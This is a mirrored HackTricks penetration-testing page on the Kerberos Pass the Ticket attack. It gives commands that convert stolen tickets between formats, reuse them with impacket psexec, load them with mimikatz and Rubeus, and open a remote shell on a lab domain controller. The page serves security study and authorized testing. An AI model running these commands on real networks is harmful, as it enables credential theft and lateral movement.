mirror of
https://github.com/carlospolop/hacktricks
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44 lines
1.8 KiB
Markdown
44 lines
1.8 KiB
Markdown
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# Pass the Ticket
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## Pass The Ticket \(PTT\)
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This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner.
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**Read**:
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* [Harvesting tickets from Windows](../../pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
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* [Harvesting tickets from Linux](../../pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
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### **Swaping Linux and Windows tickets between platforms**
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The [ticket\_converter](https://github.com/Zer1t0/ticket_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example:
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```text
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root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
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Converting ccache => kirbi
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root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
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Converting kirbi => ccache
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```
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[Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning.
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### Pass The Ticket Attack
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{% code title="Linux" %}
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```bash
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export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
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python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
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```
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{% endcode %}
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{% code title="Windows" %}
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```bash
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#Load the ticket in memory using mimikatz or Rubeus
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mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
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.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
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klist #List tickets in cache to cehck that mimikatz has loaded the ticket
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.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd
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```
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{% endcode %}
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